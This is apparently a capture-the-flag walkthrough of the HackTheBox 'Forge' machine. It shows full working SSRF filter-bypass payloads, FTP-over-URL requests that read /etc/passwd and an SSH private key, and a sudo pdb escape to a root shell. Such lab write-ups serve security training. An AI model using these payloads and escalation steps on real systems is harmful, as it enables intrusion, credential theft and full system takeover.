Forge Writeup / Walkthrough Hack the box

TL;DR

This is a walkthrough writeup on Forge which is a Linux box categorized as medium on HackTheBox. The initial foothold was gained by discovering and exploiting SSRF (Server-Side Request Forgery) in a file upload functionality to access an internal sub-domain which revealed the FTP credentials using which we were able to read the SSH private key by FTPing via the SSRF endpoint . Meanwhile, the privilege escalation part was done by exploiting the SUDO permissions we had for a python script. This box primarily focused on the SSRF filter bypassing techniques.

Forge Writeup: Scanning Network

Running the usual Nmap port scan :

Command used -->  nmap -A -sC -sV -v -Pn -n -oN nmap.initial 10.10.11.111
Nmap scan report for 10.10.11.111
Host is up (0.26s latency).
Not shown: 997 closed tcp ports (reset)

PORT   STATE    SERVICE VERSION
21/tcp filtered ftp
22/tcp open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA)
|   256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA)
|_  256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519)
80/tcp open     http    Apache httpd 2.4.41
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://forge.htb
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

We have 3 ports to work with :

port 21 : FTP (which is labelled as filtered meaning that it is either blocked or internal only)
port 22 : SSH
port 80 : Apache web-server

Forge Writeup: Web Enumeration

Checking out the hosted website in browser :

On browsing the target IP we were redirected to forge.htb which indicates that the target is using Virtual Host Routing, thus let’s add the required entry in the /etc/hosts file :

10.10.11.111	forge.htb

Browsing forge.htb :

Wappalyzer tells us that the server is running PHP.

There’s a hyperlink to /upload directory at the top right of the page. On the /upload we have two ways to upload an image :

i) Upload a Local File

ii) Upload from URL

Running a Dirbuster Scan

Found nothing interesting here :

---

Sub-Domain Enumeration

• I will be using wfuzz for sub-domain enumeration because it offers virtual host sub-domain enumeration:

┌──(root💀kali)-[~/Desktop/Boxes/HTB/Forge/revision]
└─# wfuzz -H "Host: FUZZ.forge.htb" --sc 200 -c -w /usr/share/wordlists/secLists/subdomains-top1million-5000.txt $IP

 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: <http://10.10.11.111/>
Total requests: 4989

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                    
=====================================================================

000000024:   200        1 L      4 W        27 Ch       "admin"

Total time: 148.1117
Processed Requests: 4989
Filtered Requests: 4988
Requests/sec.: 33.68402

We found one sub-domain :

admin.forge.htb

Let’s try to access it :

admin.forge.htb

I did try different bypasses like using X-Forwarded-For HTTP header, but nothing seemed to work.

😖 Let’s come back to this later.

---

Uploading Reverse Shell [Failed to execute]

Wappalyzer informed that the server is running PHP therefore we tried to upload a php reverse shell :

• The shell was uploaded in the /uploads directory with a random name.
• We tried accessing the file, but the PHP reverse shell file isn’t being executed & thus we were not able to get a reverse shell.

---

Exploiting SSRF in “Upload from URL” functionality

Next we tried the obvious attack on the Upload from URL functionality which is “Server Side Request Forgery”. Read more about it here.

• When we try to access http://127.0.0.1 , the message reveals that a “blacklsist” filter is being used to block malicious input in order to prevent SSRF attacks.

Trying to bypass this filter by using various workarounds, we were able bypass this filter using the payload :

http://127.1


127.1 also resolves to "localhost"

for your information, there are multiple ways to denote "localhost",
one of which is "127.1" 😉

Next, we tried to access some sensitive files on the server using the file protocol :

file:///etc/passwd

Ahh, sadly it seems like only http & https protocols are allowed.

---

Trying to access admin.forge.htb

• The homepage on this sub-domain says : “Only localhost is allowed!”

Now, we know that we have an SSRF vulnerable endpoint, let’s try accessing this sub-domain from there because then the request for accessing admin.forge.htb will be going from the localhost 😈

Trying to access http://forge.htb first in order to figure out the filter bypass :

Bypassing the blacklist filter by capitalizing the letters : http://FORGE.htb

Hmm, we can’t see the contents of the page, so let’s intercept this with Burp.

Ahaaa, as you can see the header “Content-Type: image/jpg”. Thats the reason our browser is throwing an error.

Thus, viewing the response (which contains HTML webage source code) in Burp we can verify that we have a successfully bypassed the filter.

---

Now, coming to the main part, let’s try accessing the admin.forge.htb sub-doamin using a similar technique to bypass the filter.

Bypassing the blacklist filter using capitalized letters ->

payload : http://admin.FORGE.htb

Again intercepting the request & response in Burp, we can see that we have successfully accessed the admin.forge.htb sub-domain –

• You could also intercept the response in Burp and change the Content-Type header to the following in the intercepted response and view the webpage in browser as well :

Content-Type: text/html; charset=utf-8

---

We can spot two hyperlinks on the admin.forge.htb page :

admin.forge.htb/announcements
admin.forge.htb/upload

Let’s visit them too (using the SSRF endpoint ofc) :

→ An internal ftp server has been setup with credentials as user:heightofsecurity123! 
→ The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.
→ The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=<url>.

We have the FTP credentials 🙂

And the upload functionality on the admin.forge.htb/upload supports ftp protocol.

---

Connecting to FTP (via SSRF endpoint)

I googled to find about “how to FTP via URL” :

How to use FTP from a browser? (webhostface.com)

Going ahead and connecting to FTP using URL in the SSRF endpoint, we get the following response :

Format for FTP protocol via URL -->  ftp://username:password@hostname


http://admin.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@127.1

This seems to be the home directory of a user on the box because we can see user.txt listed in here.

Listing the users in /etc/passwd we saw that there exists only one user other than root which is user web

http://admin.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@127.1/etc/passwd

---

---

Fetching the SSH key id_rsa via FTP

We got the SSH private key via FTP for user web :

http://admin.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@127.1/.ssh/id_rsa

---

Forge Writeup: User Flag ⛳

Using the obtained SSH key to connect via SSH to user user on the box :

┌──(root💀kali)-[~/Desktop/Boxes/HTB/Forge/revision]
└─# ssh -i user_id.rsa user@$IP
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)

 * Documentation:  <https://help.ubuntu.com>
 * Management:     <https://landscape.canonical.com>
 * Support:        <https://ubuntu.com/advantage>

  System information as of Thu 20 Nov 2021 08:01:10 AM UTC

  System load:  0.0               Processes:             224
  Usage of /:   44.0% of 6.82GB   Users logged in:       0
  Memory usage: 25%               IPv4 address for eth0: 10.10.11.111
  Swap usage:   0%

0 updates can be applied immediately.

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to <https://changelogs.ubuntu.com/meta-release-lts>. Check your Internet connection or proxy settings

Last login: Wed Nov 19 17:26:02 2021 from 10.10.14.4

user@forge:~$ id
uid=1000(user) gid=1000(user) groups=1000(user)

user@forge:~$ cat user.txt 
f2d52***************************

---

Forge Writeup: Privilege Escalation

Checking the sudo permissions for user web :

user@forge:~$ sudo -l
Matching Defaults entries for user on forge:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin

User user may run the following commands on forge:
    (ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py


user@forge:/opt$ ls -l
total 4
-rwxr-xr-x 1 root root 1447 May 31  2021 remote-manage.py

Content of remote-manage.py

user@forge:/opt$ cat remote-manage.py       
                                                                                                                                       
#!/usr/bin/env python3
import socket           
import random                                                                                                                                                                               
import subprocess                                                                             
import pdb       
                                               
port = random.randint(1025, 65535)

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('127.0.0.1', port))
    sock.listen(1)
    print(f'Listening on localhost:{port}')
    (clientsock, addr) = sock.accept()
    clientsock.send(b'Enter the secret passsword: ')
    if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
        clientsock.send(b'Wrong password!\\n')
    else:
        clientsock.send(b'Welcome admin!\\n')
        while True:
            clientsock.send(b'\\nWhat do you wanna do: \\n')
            clientsock.send(b'[1] View processes\\n')
            clientsock.send(b'[2] View free memory\\n')
            clientsock.send(b'[3] View listening sockets\\n')
            clientsock.send(b'[4] Quit\\n')
            option = int(clientsock.recv(1024).strip())
            if option == 1:
                clientsock.send(subprocess.getoutput('ps aux').encode())
            elif option == 2:
                clientsock.send(subprocess.getoutput('df').encode())
            elif option == 3:
                clientsock.send(subprocess.getoutput('ss -lnt').encode())
            elif option == 4:
                clientsock.send(b'Bye\\n')
                break
except Exception as e:
    print(e)
    pdb.post_mortem(e.__traceback__)
finally:
    quit()

This is a simple script which :

• Selects a random port & listens on that port on localhost (127.0.0.1)
• When we connect to this port on “localhost” we are asked for a password (which can be seen the contents of the file → secretadminpassword)
• After entering the correct password, we are given 4 choices.
• We can give the number corresponding to the choice of the option we want to choose.

user@forge:~$ nc 127.0.0.1 14801

Enter the secret passsword: secretadminpassword
Welcome admin!

What do you wanna do: 
[1] View processes
[2] View free memory
[3] View listening sockets
[4] Quit

• Depending on the choice the user makes, a corresponding command is run and its output is sent back to the connected user.
• And in case there is any kind of error, the script has an except which launches the pdb (python debugger) for the error encountered.

Testing remote-manage.py

We tested this program for an invalid input which raises an error and in turn launches pdb (Python Debugger) on the host.

Giving an invalid input to the program :

user@forge:~$ nc 127.0.0.1 14801

Enter the secret passsword: secretadminpassword
Welcome admin!

What do you wanna do: 
[1] View processes
[2] View free memory
[3] View listening sockets
[4] Quit

iNeedaGirlfriend<3

pdb prompt is launched on the host on receiving the invalid input :

user@forge:/opt$ sudo /usr/bin/python3 /opt/remote-manage.py
Listening on localhost:14801

invalid literal for int() with base 10: b'iNeedaGirlfriend<3'
> /opt/remote-manage.py(27)<module>()
-> option = int(clientsock.recv(1024).strip())
(Pdb) 

---

Searching the web about how to privesc using pdb we found this on GTFO bins :

So, turns out that we can simply run python commands inside the pdb prompt 😄

---

Forge Writeup: Root Flag ⛳

Let’s spawn a root shell from inside the pdb prompt !

user@forge:/opt$ sudo /usr/bin/python3 /opt/remote-manage.py
Listening on localhost:14801
invalid literal for int() with base 10: b'iNeedaGirlfriend<3'
> /opt/remote-manage.py(27)<module>()
-> option = int(clientsock.recv(1024).strip())

(Pdb) import os;
(Pdb) os.system('/bin/sh');

# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
c78e1***************************

---

Yayy ! Congrats on rooting Forge 🎉🥳

Do checkout other interesting writeups & walkthroughs on sheerazali.com